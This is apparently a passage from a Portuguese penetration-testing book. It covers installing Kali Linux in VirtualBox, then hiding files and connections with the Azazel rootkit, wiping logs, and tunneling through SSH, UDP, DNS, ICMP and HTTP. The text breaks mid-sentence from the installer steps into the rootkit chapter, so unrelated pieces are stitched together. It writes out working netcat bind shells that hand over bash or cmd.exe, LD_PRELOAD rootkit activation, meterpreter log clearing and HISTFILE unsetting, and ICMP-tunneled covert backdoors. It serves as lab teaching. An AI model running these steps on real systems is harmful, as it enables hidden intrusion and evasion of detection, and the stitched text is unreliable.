(padrão) e clique</p><p>em Next.</p><p>Figura 2.3 – Tela de boas-vindas.</p><p>Figura 2.4 – Tela para instalação de módulos.</p><p>Selecione se o VirtualBox terá ícones que serão exibidos</p><p>na área de trabalho e no menu iniciar (deixe por padrão,</p><p>conforme indicado na figura 2.5), e também instale a</p><p>interface de rede (Figura 2.6).</p><p>Figura 2.5 – Selecionando se o VirtualBox terá ícones.</p><p>Figura 2.6 – Tela para instalação da interface de rede.</p><p>Na próxima tela é exibida uma confirmação da instalação</p><p>do VirtualBox; finalize as instalações clicando em Install</p><p>(Figura 2.7).</p><p>Figura 2.7 – Confirmando a instalação do VirtualBox.</p><p>O VirtualBox também instala módulos auxiliares para o</p><p>reconhecimento de dispositivos USB, interfaces de rede</p><p>etc. O primeiro dispositivo auxiliar é o USB. Para evitar</p><p>instalar cada módulo, aceite os módulos que o VirtualBox</p><p>vai instalar, selecionando o checkbox Confiar sempre no</p><p>software de Oracle Corporation, e depois clique em</p><p>Instalar (Figura 2.8).</p><p>Figura 2.8 – Instalação dos módulos auxiliares.</p><p>2.2.2 Instalação de uma máquina virtual</p><p>Após a instalação do VirtualBox, o próximo passo é</p><p>instalar a máquina virtual para utilização do Kali Linux;</p><p>vá em Novo (Figura 2.9).</p><p>Figura 2.9 – Iniciando a instalação de uma nova máquina</p><p>virtual.</p><p>Escolha um nome para sua máquina, o sistema</p><p>operacional Linux e a versão (Figura 2.10).</p><p>Figura 2.10 – Selecionando o nome e o tipo de sistema</p><p>operacional.</p><p>Escolha a quantidade de memória RAM a ser utilizada</p><p>(Figura 2.11). Particularmente, eu sempre deixo entre as</p><p>cores verde e laranja, para utilizar uma boa quantidade</p><p>de memória RAM. Dessa forma, a máquina real não ficará</p><p>sobrecarregada durante a execução do VirtualBox.</p><p>Figura 2.11 – Definindo o valor da memória RAM.</p><p>A próxima tela permite escolher qual será o tipo de</p><p>armazenamento de dados. As opções são: Não</p><p>acrescentar um disco rígido virtual (útil se, por exemplo,</p><p>o leitor quiser iniciar o Kali Linux por meio de um CD),</p><p>Criar um disco rígido virtual agora, ou Utilizar um disco</p><p>rígido virtual existente. Como é nossa primeira instalação</p><p>do Kali Linux, vamos criar um disco de armazenamento</p><p>novo (Figura 2.12).</p><p>Figura 2.12 – Criando um novo disco de armazenamento.</p><p>Selecione também o tipo de disco de armazenamento a</p><p>ser criado; escolha a opção VDI (VirtualBox Disk Image)</p><p>(Figura 2.13).</p><p>Figura 2.13 – Seleção do tipo de disco de</p><p>armazenamento.</p><p>O leitor tem a opção de criar um disco com tamanho fixo</p><p>(nesse modelo é alocado determinado espaço do HD) ou</p><p>criar um disco dinamicamente alocado, sendo que nesse</p><p>modelo o espaço no HD vai sendo alocado até atingir a</p><p>capacidade máxima e os espaços não utilizados pela</p><p>máquina virtual podem ser reutilizados pelo HD (Figura</p><p>2.14). Particularmente, prefiro escolher a opção</p><p>Dinamicamente alocado, mas cabe ao leitor decidir qual</p><p>será a melhor para si.</p><p>Figura 2.14 – Seleção do tipo de alocação de espaço do</p><p>HD.</p><p>Ajuste o tamanho do disco virtual para o tamanho</p><p>desejado (Figura 2.15). Para a instalação do Kali Linux, 30</p><p>GB são suficientes.</p><p>Figura 2.15 – Selecionando o tamanho da máquina</p><p>virtual.</p><p>Inicie a máquina virtual (Figura 2.16) clicando no botão</p><p>Iniciar.</p><p>Figura 2.16 – Máquina virtual sendo inicializada.</p><p>Caso seja exibida uma mensagem de erro mostrada</p><p>pelas figuras 2.17 ou 2.18, provavelmente trata-se do</p><p>mesmo problema: Ao inicializar o Kali Linux, certifique-se</p><p>de habilitar o suporte ao módulo PAE/NX1 (o PAE permite</p><p>aos processadores de 32 bits utilizarem mais de 4 GB de</p><p>memória física, e o NX protege o computador de ataques</p><p>de softwares maliciosos).</p><p>Figura 2.17 – Mensagem de erro quando o Kali Linux é</p><p>inicializado sem o suporte ao PAE/NX.</p><p>Figura 2.18 – Mensagem de erro provavelmente relativo</p><p>ao PAE/NX.</p><p>Para corrigir esse problema, vá em</p><p>Configurações>Sistema>Processador e habilite a opção</p><p>Habilitar PAE/NX (Figura 2.19).</p><p>Figura 2.19 – Habilitando a opção Habilitar PAE/NX.</p><p>Localize a ISO do Kali Linux no ícone da pasta e inicie a</p><p>máquina virtual (Figura 2.20) clicando no botão Start</p><p>(Iniciar).</p><p>Figura 2.20 – Selecionando a ISO.</p><p>Após ter sido instalada, a máquina virtual captura o</p><p>mouse, que ficará acessível apenas para a máquina</p><p>virtual (Figura 2.21).</p><p>Figura 2.21 – O mouse é capturado para dentro da</p><p>máquina virtual.</p><p>Para o mouse “sair” da máquina virtual e voltar para a</p><p>máquina real, tecle Ctrl à direita do teclado.</p><p>Será mostrado o sumário de configurações. Clique no</p><p>instalador gráfico (opção Graphical Install) para iniciar a</p><p>instalação (Figura 2.22).</p><p>As próximas configurações serão relativas à linguagem,</p><p>localidade, ao teclado e nome do sistema operacional</p><p>(Figuras 2.23 a 2.27).</p><p>Figura 2.22 – Iniciando a instalação do Kali Linux.</p><p>Figura 2.23 – Selecionando a linguagem.</p><p>Figura 2.24 – Os pacotes para a língua portuguesa não</p><p>estão completos. Continue a instalação sem problemas.</p><p>Figura 2.25 – Selecionando a localidade.</p><p>Figura 2.26 – Selecionando o teclado.</p><p>Configure o nome de domínio que será utilizado, por</p><p>exemplo, caso o leitor tenha algum domínio válido na</p><p>internet e deseje fazer com que a máquina virtual esteja</p><p>nesse domínio. O mais aconselhado é deixar a opção em</p><p>branco (Figura 2.28).</p><p>Figura 2.27 – Selecionando o nome (hostname) que o</p><p>computador terá.</p><p>Figura 2.28 – Opção em branco.</p><p>O próximo passo é definir a senha do superusuário root</p><p>(usuário administrativo do sistema), com ele é possível</p><p>apagar arquivos, criar novos usuários etc.</p><p>um arquivo que inicie com “__” (dois underscores):</p><p>root@debian# touch __invisivel</p><p>Liste os arquivos com ls:</p><p>root@debian# ls</p><p>O sistema não detecta o arquivo criado pelo rootkit.</p><p>Que tal escondermos conexões na máquina?</p><p>Abrindo o arquivo de configuração do Azazel (o arquivo</p><p>config.py), nota-se na primeira linha:</p><p>OW_PORT = "61040"# Lowest source port for plain text backdoor</p><p>HIGH_PORT = "61050"# Highest source port for plain text backdoor</p><p>Isso significa que conexões com portas de origem 61040</p><p>até a porta 61050 não são detectadas por comandos</p><p>como o netstat.</p><p>Observem também que, se quisermos criar uma conexão</p><p>com o netcat, pela linha:</p><p>SHELL_PASSWD = "changeme"# Remote password for accept backdoors</p><p>Nós devemos inserir a senha changeme para ter acesso</p><p>ao sistema.</p><p>Vamos então comprometer o sistema:</p><p>root@debian:~/azazel-master# export LD_PRELOAD=/lib/libselinux.so</p><p>Vamos iniciar uma conexão com o netcat:</p><p>root@debian:~/azazel-master# nc -l -p 666 -e /bin/bash &</p><p>Na máquina do atacante, conecte-se ao IP 192.168.1.102</p><p>na porta 666, utilizando a porta de origem 61040, e</p><p>digite a senha:</p><p>root@kali# nc 192.168.1.102 666 -p 61040</p><p>changeme</p><p>Vai aparecer a mensagem do Azazel:</p><p>Welcome!</p><p>Here's a shell:</p><p>Estamos no sistema de forma invisível!</p><p>Digite no Debian:</p><p>root@debian# netstat -etn | grep 666</p><p>Nenhuma conexão no sistema. É como se o invasor não</p><p>existisse no sistema!</p><p>Qualquer processo pode ser iniciado dentro do netcat</p><p>que não será listado pelo comando ps:</p><p>root@kali# ping 1.1.1.1</p><p>root@debian# ps aux</p><p>O comando ping não é exibido na lista de processos do</p><p>Debian.</p><p>12.7.2 Kernel Land</p><p>Rootkits do tipo Kernel Land implementam o seu código</p><p>malicioso diretamente no Kernel, por meio de técnicas</p><p>avançadas. Esse tipo de rootkit depende muito de qual é</p><p>a versão do Kernel que está sendo utilizada, pois são</p><p>específicos para determinada versão, por isso não serão</p><p>detalhados.</p><p>Para a descoberta de novos rootkits, acesse</p><p>http://packetstormsecurity.com.</p><p>1 Altere o conteúdo do arquivo /etc/apt/sources.list somente para realizar a</p><p>instalação do honeyd. Terminada essa etapa, volte com o conteúdo</p><p>original do arquivo /etc/apt/sources.list. Uma boa prática é sempre manter</p><p>um backup do arquivo com o comando cp /etc/apt/sources.list</p><p>/etc/apt/sources.listOLD. Para restaurar o arquivo, realize o processo</p><p>inverso cp /etc/apt/sources.listOLD /etc/apt/source.list.</p><p>CAPÍTULO 13</p><p>Apagando rastros</p><p>Após o sistema ter sido comprometido e alterações</p><p>terem sido executadas, o atacante então tentará apagar</p><p>seus rastros e limpar a casa, ou seja, apagar os logs do</p><p>sistema.</p><p>Porém algumas considerações devem ser levadas em</p><p>conta, por exemplo, com administradores mais atentos</p><p>que podem fazer o redirecionamento de logs para outros</p><p>hosts. Dessa forma, apagar os logs da máquina local não</p><p>será muito útil, pois mesmo que o atacante apague os</p><p>logs locais, cópias dos registros já foram enviadas para</p><p>outro servidor.</p><p>Os logs do Windows podem ser localizados em</p><p>c:\Windows\system32\Config:</p><p>• AppEvent.Evt – logs dos aplicativos e operações.</p><p>• SecEvent.Evt – logs de segurança.</p><p>• SysEvent.Evt – eventos do sistema.</p><p>Para limpar os logs (como usuário nt authority\system):</p><p>meterpreter > clearev</p><p>No Linux é interessante desabilitar o histórico de</p><p>comandos com:</p><p>unset HISTFILE</p><p>Dessa forma, tudo o que for digitado não será</p><p>armazenado no histórico de comandos para aquela</p><p>sessão do bash.</p><p>Além disso, é interessante remover as linhas dos logs de</p><p>autenticação do sistema que tenham seu IP.</p><p>Os logs do Linux encontram-se em /var/log, mas</p><p>certifique-se de que os logs são guardados nesse</p><p>diretório acessando o arquivo /etc/syslog.conf (para o</p><p>syslog) ou /etc/rsyslog.conf (para sistemas que utilizam o</p><p>rsyslog). Lembrando mais uma vez que a remoção de</p><p>logs será pouco útil em sistemas com IDS ou que</p><p>armazenam logs remotamente.</p><p>• /var/log/auth.log – Logs de autenticação do sistema.</p><p>• /var/log/lastlog – Log do comando lastlog.</p><p>• /var/log/wtmp – Log do comando last.</p><p>• /var/log/btmp – Log do comando lastb.</p><p>• /var/run/utmp – Log dos comandos w/who.</p><p>Há scripts e ferramentas que auxiliam na limpeza do log.</p><p>Um bom repositório encontra-se em</p><p>http://packetstormsecurity.com/UNIX/penetration/log-</p><p>wipers/.</p><p>CAPÍTULO 14</p><p>Tunneling</p><p>Tunneling ou tunelamento é uma técnica em que se cria</p><p>um túnel virtual entre dois hosts remotos, permitindo que</p><p>estes possam se comunicar perfeitamente, de forma</p><p>segura, pois os dados que circulam na rede são</p><p>criptografados. O tunneling também pode ser usado para</p><p>criar conexões maliciosas protegidas contra firewall.</p><p>Vamos primeiro imaginar a seguinte situação: Em uma</p><p>rede corporativa em que a máquina A (que está</p><p>protegida por firewall) deseja comunicar-se com a</p><p>máquina B que está fora da rede, o processo feito é este:</p><p>• Na conexão de ida:</p><p>A —> Firewall/Proxy —> Internet —> B</p><p>• Na conexão de volta:</p><p>B —> Internet —> Firewall/Proxy —> A</p><p>Isso seria muito bom em uma conexão normal, sem</p><p>regras restritivas de firewall ou proxy. Agora… imaginem</p><p>a seguinte situação:</p><p>• Na conexão de ida:</p><p>A —> Firewall/Proxy --xx-- Internet — B</p><p>O firewall não está deixando a máquina A acessar a</p><p>máquina B; o pedido para o firewall e nem sequer vai</p><p>para a internet.</p><p>No exemplo anterior, a máquina A está protegida por um</p><p>firewall e não consegue comunicar-se com a máquina B.</p><p>Em uma conexão via tunneling:</p><p>• Na conexão de ida:</p><p>A —> Firewall/Proxy —> Internet —> B</p><p>A =====Túnel através da internet===== B</p><p>A máquina A conecta-se com a máquina B por meio de</p><p>um túnel criado.</p><p>• Na conexão de volta:</p><p>B —> Internet —> Firewall/Proxy —> A</p><p>B =====Túnel através da internet===== A</p><p>A máquina B conecta-se com a máquina A por meio do</p><p>túnel criado.</p><p>Esse túnel apenas repassa a informação entre as duas</p><p>extremidades (máquina A e máquina B). É como se o</p><p>firewall não existisse. Mas o firewall existe, apenas</p><p>estamos burlando suas regras.</p><p>O túnel virtual nada mais é do que utilizar um ponto C</p><p>para realizar a retransmissão dos dados, conforme</p><p>mostra a figura 14.1.</p><p>Figura 14.1 – O tunneling nada mais é do que utilizar</p><p>uma máquina C (que não esteja protegida com o firewall)</p><p>como pivô para acessar outros hosts (como a máquina</p><p>B).</p><p>O tunneling é usado nas seguintes situações:</p><p>• Necessidade de proteção dos dados (o tunneling</p><p>protege contra ataques de MitM).</p><p>• Acessar destinos, serviços e protocolos bloqueados.</p><p>• Acessar uma máquina da rede interna.</p><p>• Necessidade de encapsular uma conexão de backdoor</p><p>por meio de protocolos pouco filtrados por firewall</p><p>(como encapsular uma conexão TCP dentro do</p><p>protocolo HTTP).</p><p>14.1 Laboratório Tunneling</p><p>Conforme mostra a figura 14.1, para as nossas</p><p>atividades:</p><p>• Ponto A: Kali Linux</p><p>• Firewall: Debian</p><p>• Ponto B: Debian</p><p>• Ponto C: Windows</p><p>Também é necessário o servidor SSH instalado tanto no</p><p>ponto A (Kali Linux) como no ponto C (Windows – o</p><p>servidor que será usado como de ponte para a conexão</p><p>com o Ponto B).</p><p>Bons softwares SSH para Windows são:</p><p>• MobaSSH – http://mobassh.mobatek.net</p><p>• OpenSSH – http://sshwindows.sourceforge.net</p><p>Configure o iptables do Debian para aceitar conexões</p><p>oriundas do ponto C:</p><p>root@debian# iptables -A INPUT -p tcp --dport 80 -j DROP ! -s</p><p>192.168.1.101</p><p>O Debian aceita conexões apenas oriundas do Windows,</p><p>sendo bloqueado para o Kali Linux. A máquina com o Kali</p><p>Linux vai conectar-se ao Windows via SSH, e as conexões</p><p>até a máquina Debian terão origem como sendo o</p><p>Windows, realizando o tunneling.</p><p>14.2 SSH Tunneling</p><p>No SSH tunneling, o túnel é criado usando-se por base o</p><p>protocolo TCP com a sua conexão criptografada (usando-</p><p>se o SSH), ou seja, os dados serão transmitidos</p><p>encapsulados por meio do protocolo SSH.</p><p>Acesse o servidor SSH Windows no Kali Linux:</p><p>root@kali# ssh -l root 192.168.1.101 -D 8000</p><p>Digite a senha do usuário Windows, e, após entrar no seu</p><p>servidor SSH, a máquina Kali Linux criará um SOCKS4</p><p>(que fica na escuta na porta 8000).</p><p>Para usar o túnel, abra o navegador e, em configurações</p><p>da conexão de rede, escolha a opção SOCKS4 com os</p><p>endereços 127.0.0.1 8000.</p><p>A configuração do socks pode ser observada na figura</p><p>14.2.</p><p>Figura 14.2 – Configuração do socks local para acessar o</p><p>túnel.</p><p>14.3 UDP tunneling</p><p>No UDP tunneling, o túnel é criado usando-se por base o</p><p>protocolo UDP, ou seja, os dados serão transmitidos</p><p>encapsulados por meio do protocolo UDP.</p><p>O udptunnel pode ser encontrado</p><p>em:http://code.google.com/p/udptunnel/downloads/list.</p><p>Na máquina Windows, digite no prompt de comando:</p><p>C:\ udptunnel.exe -v -s 4444</p><p>O updtunnel ficará esperando por conexões na porta UDP</p><p>4444 do túnel.</p><p>No Kali Linux, compile o udptunnel digitando make no</p><p>terminal:</p><p>root@kali:~udptunnel# make</p><p>root@kali:~/udptunnel# ./udptunnel -c 127.0.0.1 44 192.168.1.101</p><p>4444 127.0.0.1 22</p><p>No comando cliente, você está dizendo ao udptunnel que</p><p>atue como cliente (-c). Fique listando no IP 127.0.0.1 na</p><p>porta 44 e conecte-se ao endereço IP 192.168.1.101 na</p><p>porta 4444. Feito isso, o túnel é criado, e, quando for</p><p>acessado, você será redirecionado ao IP 127.0.0.1</p><p>(192.168.1.101) na porta 22.</p><p>Ou seja, eu conecto-me ao IP 127.0.0.1 na porta 44, o</p><p>udptunnel fecha o túnel com o Windows 192.168.1.101</p><p>na porta 4444, e eu acesso o endereço 127.0.0.1 na</p><p>porta 22 como se a minha máquina Linux fosse a</p><p>máquina Windows.</p><p>Digite em outro terminal:</p><p>root@kali# ssh -l root -p 44 127.0.0.1 -D 8000</p><p>Entre com sua senha do servidor SSH Windows e</p><p>configure o seu navegador para acessar via socks.</p><p>A configuração do socks pode ser observada na figura</p><p>14.2.</p><p>14.4 DNS tunneling</p><p>Para se criar túneis via DNS, será necessário ter acesso à</p><p>porta 53. Para isso, a melhor medida a ser adotada é</p><p>contratando-se um VPS1. Apenas por motivos didáticos</p><p>será configurado o túnel DNS para a rede local.</p><p>Como o conceito de tunneling já foi descrito nas seções</p><p>14.2, “SSH Tunneling”, e 14.3, “UDP Tunneling”, as regras</p><p>de bloqueio do iptables não são mais necessárias.</p><p>root@debian# iptables -F</p><p>Primeiro, desabilite o bind9 no Debian:</p><p>root@debian# service bind9 stop</p><p>Instale o dns2tcp no Debian com o comando:</p><p>root@debian# apt-get install dns2tcp</p><p>Altere o arquivo /etc/dns2tcpd.conf, para o seguinte</p><p>conteúdo:</p><p>listen = 0.0.0.0</p><p>port = 53</p><p>#If you change this value, also change the USER variable in</p><p>/etc/default/dns2tcpd</p><p>user = nobody</p><p>chroot = /tmp</p><p>domain = dnstunnel</p><p>resources = ssh:127.0.0.1:22</p><p>Os parâmetros de configuração do DNS Tunnel são:</p><p>• listen – Por qual endereço IP o DNS Túnel fica</p><p>esperando por conexões. 0.0.0.0 indica todos os</p><p>endereços da máquina local.</p><p>• port – Porta DNS (53).</p><p>• domain – Domínio que o dns2tcp vai criar (por isso o</p><p>bind9 foi finalizado).</p><p>• resources – Recursos disponíveis no túnel DNS.</p><p>Primeiro é o nome do recurso disponível (chamado de</p><p>SSH); depois, para qual IP será finalizado o túnel (IP</p><p>local) e para qual porta (porta 22).</p><p>Inicie o serviço com:</p><p>root@debian# dns2tcpd -f /etc/dns2tcpd.conf</p><p>No Kali Linux, teste a conectividade do servidor de túnel</p><p>por meio do comando:</p><p>root@kali# dns2tcpc -z dnstunnel 192.168.1.102</p><p>Avaible connection(s):</p><p>ssh</p><p>Note: Compression SEEMS avaible!</p><p>O servidor DNS respondeu que há conexões disponíveis.</p><p>Utilize o servidor de túnel com o comando:</p><p>root@kali# dns2tcpc –z dnstunnel –l 4444 –r ssh 192.168.1.102</p><p>Listening on port : 4444</p><p>O cliente do DNS túnel fica esperando por conexões</p><p>localmente na porta 4444. No momento em que for</p><p>estabelecida uma conexão, o DNS túnel vai se conectar</p><p>via SSH no IP 192.168.1.102.</p><p>Conecte-se via SSH e utilize o túnel (digite a senha do</p><p>Debian):</p><p>root@kali# ssh –p 4444 localhost –D 8000</p><p>Configure o seu navegador para acessar via socks. A</p><p>configuração do socks pode ser observada na figura 14.2.</p><p>14.5 ICMP Tunneling</p><p>Idem às técnicas anteriores, porém o ICMP tunneling</p><p>encapsula o protocolo TCP dentro do protocolo ICMP.</p><p>Instale o ICMP tunnel no Debian:</p><p>root@debian# apt-get install ptunnel</p><p>As regras de bloqueio do iptables não são necessárias</p><p>(devido aos laboratórios anteriores de tunneling, o</p><p>conceito já foi explicado):</p><p>root@debian# iptables -F</p><p>Inicialize o ptunnel no Debian:</p><p>root@debian# ptunnel</p><p>No Kali Linux, conecte-se ao servidor Debian com o</p><p>comando:</p><p>root@kali# ptunnel –p 192.168.1.102 –lp 4444 –da 192.168.1.102 –dp 22</p><p>Nesse momento o ptunnel ficará esperando por conexões</p><p>localmente na porta 4444. Quando houver uma conexão</p><p>nessa porta, o ptunel vai enviar pacotes ICMP para o</p><p>servidor do Debian e redirecionará a conexão do Kali</p><p>Linux para o IP 192.168.1.102 na porta 22.</p><p>Conecte-se via SSH e crie um socks:</p><p>root@kali# ssh localhost –p 4444 –D 8000</p><p>Configure o seu navegador para acessar via socks. A</p><p>configuração do socks pode ser observada na figura 14.2.</p><p>14.6 Canais encobertos via</p><p>tunneling</p><p>Além de conexões legítimas, um atacante pode</p><p>criptografar a sua conexão para passar por firewalls.</p><p>Para criarmos uma conexão com o netcat que seja</p><p>tunelada via ICMP (pode ser qualquer tipo de</p><p>tunelamento, o princípio é o mesmo), primeiro vamos</p><p>elaborar uma regra restritiva no Debian para somente</p><p>aceitar pacotes ICMP e conexões oriundas apenas da</p><p>máquina local.</p><p>root@debian# iptables -A INPUT -p tcp -j DROP ! -s 127.0.0.1</p><p>Inicie o netcat listando na porta 666:</p><p>root@debian# nc -l -p 666 -e /bin/bash -vv</p><p>No Kali Linux, tente acessar a porta 666 do servidor</p><p>Debian:</p><p>root@kali# nc 192.168.1.102 666 -vv</p><p>Sem conexão, certo? Agora realize o procedimento de</p><p>tunelamento.</p><p>Na máquina Debian:</p><p>root@debian# ptunnel</p><p>No Kali Linux:</p><p>root@kali# ptunnel –p 192.168.1.102 –lp 4444 –da 127.0.0.1 –dp 666</p><p>As seguintes opções do ptunnel foram utilizadas:</p><p>-p IP do alvo.</p><p>-lp Porta local que fica na escuta.</p><p>-</p><p>da</p><p>IP para o qual a máquina será redirecionada quando conectar-se à</p><p>porta 4444.</p><p>-</p><p>dp</p><p>Porta TCP destino (no exemplo, a porta de escuta do netcat).</p><p>Conecte-se localmente à porta 4444:</p><p>root@kali# nc localhost 4444 -vv</p><p>E agora, conseguimos o nosso shell?</p><p>Digite um comando de terminal qualquer dentro do</p><p>netcat, por exemplo:</p><p>mkdir Daniel_Moreno</p><p>Se for realizado um monitoramento do tráfego com um</p><p>sniffer (como o Wireshark, tcpdump etc.), é possível ver</p><p>que o comando mkdir Daniel_Moreno foi encapsulado</p><p>dentro do protocolo ICMP. A figura 14.3 mostra uma</p><p>conexão de backdoor dentro de um pacote ICMP.</p><p>Figura 14.3 – Conexão TCP encapsulada em um pacote</p><p>ICMP.</p><p>O Windows possui a versão compilada que pode ser</p><p>encontrada em http://neophob.com/2007/10/pingtunnel-</p><p>for-windows-icmp-tunnel/. É necessária a instalação do</p><p>WinPCAP (http://www.winpcap.org/) para o programa</p><p>funcionar corretamente. O seu funcionamento é idêntico</p><p>ao Linux, com a diferença de que nós devemos</p><p>especificar a interface de rede local.</p><p>Por exemplo, na máquina Windows vamos listar uma</p><p>conexão com o netcat:</p><p>C:\ nc.exe -l -p 666 -e cmd.exe -vv</p><p>Acesse o cmd.exe como administrador e veja quais são</p><p>as interfaces locais disponíveis (abreviado por motivos</p><p>visuais):</p><p>C:\ptun-rel1> ptunnel.exe -h</p><p>Windows pcap devices:</p><p>\Device\NPF_{B8604B37-2B10-4CA8-94B4-853966820B3D}</p><p>Description: Intel(R) PRO/1000 MT Desktop Adapter</p><p>Loopback: no</p><p>Address Family: #23</p><p>Address Family Name: Unknown (IP6 is NOT supported!)</p><p>Address Family: #2</p><p>Address Family Name: AF_INET</p><p>Inicialize o ptunnel com a interface local:</p><p>C:\ptun-rel1> ptunnel.exe -c "\Device\NPF_{B8604B37-2B10-4CA8-94B4-</p><p>853966820B3D}"</p><p>No Kali Linux liste e conecte-se via ICMP Tunnel:</p><p>root@kali# ptunnel –p 192.168.1.101 –lp 4444 –da 127.0.0.1 –dp 666</p><p>root@kali# nc localhost 4444 -vv</p><p>O exemplo com o ptunnel foi apenas metodológico, mas</p><p>saiba que existem backdoors e softwares maliciosos que</p><p>fazem a transmissão de seus dados por tunelamento de</p><p>ICMP, não abrindo nenhuma porta no sistema alvo. Um</p><p>excelente software que vale a pena ser citado é o</p><p>ICMPSH</p><p>(http://www.leidecker.info/downloads/index.shtml#shells),</p><p>que realiza um tunelamento reverso por meio de</p><p>requisições ICMP Echo Request e Echo Reply, abrindo o</p><p>shell cmd.exe na máquina do atacante. O seu código-</p><p>fonte é simples e já possui um binário compilado para o</p><p>Windows, mas nada impede o leitor de alterar o seu</p><p>código para atender às suas necessidades. Encorajo o</p><p>leitor a ler sobre essa ferramenta e testá-la.</p><p>14.7 HTTP Tunnel</p><p>Para esse laboratório será utilizado o GNU HTTP Tunnel,</p><p>obtido em http://neophob.com/2006/10/gnu-httptunnel-</p><p>v33-windows-binaries/.</p><p>O GNU HTTP Tunnel possibilita o HTTP Tunnel em</p><p>plataformas Windows.</p><p>• Lado servidor:</p><p>C:\ hts.exe –F localhost:22 23</p><p>O hts ficará escutando na porta 23 e fará um</p><p>redirecionamento para local host na porta 22.</p><p>• Lado cliente:</p><p>root@kali# apt-get install httptunnel</p><p>root@kali# htc -F 999 192.168.1.101:23</p><p>O htc ficará escutando por conexões na porta 999 e</p><p>realizará o túnel no servidor (192.168.1.101) na porta</p><p>23.</p><p>Conecte-se via SSH e crie um socks:</p><p>root@kali# ssh localhost -p 999 -D 8000</p><p>Configure o seu navegador para acessar via socks. A</p><p>configuração do socks pode ser observada na figura 14.2.</p><p>Nota: Desafio o leitor a criar uma backdoor com o tráfego tunelado sob</p><p>o protocolo HTTP.</p><p>14.8 Redes TOR</p><p>A redeTOR, também chamada de redeOnion (rede</p><p>cebola), é uma rede que foi criada com o intuito de</p><p>proteger a anonimidade dos usuários que navegam sobre</p><p>ela. Para garantir a segurança dos dados, a rede utiliza o</p><p>protocolo TLS para transporte. Então, por exemplo, se o</p><p>leitor conectar-se à rede TOR e acessar um site HTTP,</p><p>terá os dados HTTP criptografados com o protocolo TLS,</p><p>tornando inviáveis ataques de captura remota de dados.</p><p>A rede funciona por meio de pontos ou nó. Por exemplo:</p><p>Ao conectar-se à rede TOR, o usuário terá os seus dados</p><p>passando por um nó (uma saída), e é esse nó é que vai</p><p>garantir a anonimidade. De forma bem parecida com o</p><p>funcionamento do programa proxychains, o nó pode se</p><p>conectar a outro nó e assim sucessivamente, formando</p><p>um tunelamento de dados entre cada extremidade. Por</p><p>exemplo: o usuário conecta-se à rede TOR; a rede TOR</p><p>escolhe aleatoriamente um nó (por exemplo o nó ABC) e</p><p>conecta-se a ele. Esse nó vai conectar-se ao nó DEF e</p><p>assim sucessivamente. O último nó enviará a conexão do</p><p>usuário ao destino requerido.</p><p>Embora garanta a anonimidade escolhendo nós</p><p>aleatórios na rede (o que dificulta o rastreamento da</p><p>origem dos dados), as redes TOR não garantem em nada</p><p>quanto à privacidade dos dados. Isso porque o último nó</p><p>terá acesso às requisições originalmente feitas pelo</p><p>usuário. Então, por exemplo, se o usuário conectar-se à</p><p>rede TOR fazendo um login em um site HTTP, os dados</p><p>estarão criptografados com TLS até chegar ao nó final.</p><p>Chegando ao nó final, os dados poderão ser</p><p>interceptados e lidos por esse nó antes de efetivamente</p><p>serem entregues ao site HTTP. Conforme a excelente</p><p>citação2:</p><p>se o usuário configurar o seu Tor para operar como</p><p>servidor de relay, terá a possibilidade de logar o</p><p>tráfego original de todas as pessoas que estiverem</p><p>passando por túneis cujo nó de saída seja o seu nó</p><p>Tor.</p><p>Em outras palavras, os dados trafegam de forma</p><p>criptografada e segura até o último nó. O último nó tem</p><p>total acesso e leitura sobre os dados. Então, leitor, tome</p><p>cuidado ao utilizar redes TOR. Particularmente, prefiro</p><p>utilizar métodos tradicionais de criptografia e</p><p>tunelamento (como o tunelamento SSH ou mesmo VPN)</p><p>para garantir a privacidade dos meus dados, isso porque</p><p>eu sei quem é a extremidade da minha conexão e tenho</p><p>confiança nela (algo bem diferente das redes TOR, em</p><p>que a extremidade final – ou o nó final – é um total</p><p>desconhecido da internet). Além de que redes TOR às</p><p>vezes são muito lentas. Nas próximas linhas, ensinarei o</p><p>leitor a configurar um cliente para acessar a rede TOR, a</p><p>escolha de acessá-la ou não para “proteger” os seus</p><p>dados será de plena responsabilidade sua.</p><p>Instale o TOR no Kali Linux:</p><p>root@kali# apt-get install tor</p><p>Ao iniciar a rede TOR é criado um socks local que fará a</p><p>ponte com os nós do TOR</p><p>root@kali# service tor start</p><p>Configure o proxychains para acessar a porta local 9050.</p><p>O arquivo de configuração /etc/proychains.conf ficará da</p><p>seguinte forma:</p><p>dynamic_chain</p><p>proxy_dns</p><p>tcp_read_time_out 15000</p><p>tcp_connect_time_out 8000</p><p>[ProxyList]</p><p>socks4 127.0.0.1 9050</p><p>Acessse qualquer programa que queira. Por exemplo,</p><p>faça um teste com o iceweasel</p><p>root@kali# proxychains iceweasel</p><p>Acesse o endereço http://www.meuip.com.br. O seu IP</p><p>será de algum nó aleatório da rede TOR.</p><p>1 Virtual Private Server, Servidor Privado Virtual, é um servidor acessível</p><p>pela internet. Ao contratar uma VPS, o usuário possui acesso root a esse</p><p>servidor. A vantagem é que esses servidores possuem determinadas</p><p>portas liberadas para acesso ao público, como a 53.</p><p>2 Fonte: http://pt.wikipedia.org/wiki/Tor_(rede_de_anonimato).</p><p>CAPÍTULO 15</p><p>DoS – Denial of Service</p><p>O pentest é finalizado com o processo de tunneling e</p><p>com a escrita do relatório final, relacionando às</p><p>vulnerabilidades. Porém, em casos extremos, também é</p><p>necessário testar a capacidade que a rede tem contra</p><p>um ataque de negação de serviço.</p><p>Os ataques de negação de serviço (DoS – Denial of</p><p>Service) ou também chamados de “teste de stress” são</p><p>uma classe específica de ataques, não sendo obtido o</p><p>acesso ao sistema ou ao shell.</p><p>Basicamente, a ideia é sobrecarregar o servidor com um</p><p>excesso de pacotes, fazendo com que a sua banda fique</p><p>lenta, sobrecarregada e até mesmo caia.</p><p>Há diversas classes de ataques e tipos de negação de</p><p>serviços. Os ataques de DoS podem ser categorizados de</p><p>acordo a camada do modelo OSI que afetam:</p><p>• Layer 7 – Ataques DoS destinados à Layer 7 são</p><p>ataques que não requerem banda para a sua</p><p>utilização. É a classe que explora vulnerabilidades em</p><p>softwares para causar o DoS.</p><p>Exemplos: slowloris e a vulnerabilidade</p><p>ms12_020_maxchannelids.</p><p>• Layer 4 – Ataques DoS destinados à Layer 4 são</p><p>ataques que requerem muita banda para serem</p><p>utilizados. Nessa classe de ataques estão os softwares</p><p>que fazem inundação de pacotes, como o SYN Flood.</p><p>Não há muito o que fazer quando uma instituição sofre</p><p>um ataque dessa categoria, pois, conforme a banda</p><p>do atacante, a sua vítima fica sobrecarregada.</p><p>Exemplos: SYN Flood, UDP Flood.</p><p>• Layer 2 – Ataques DoS destinados à Layer 2 são</p><p>ataques voltados ao protocolo MAC de 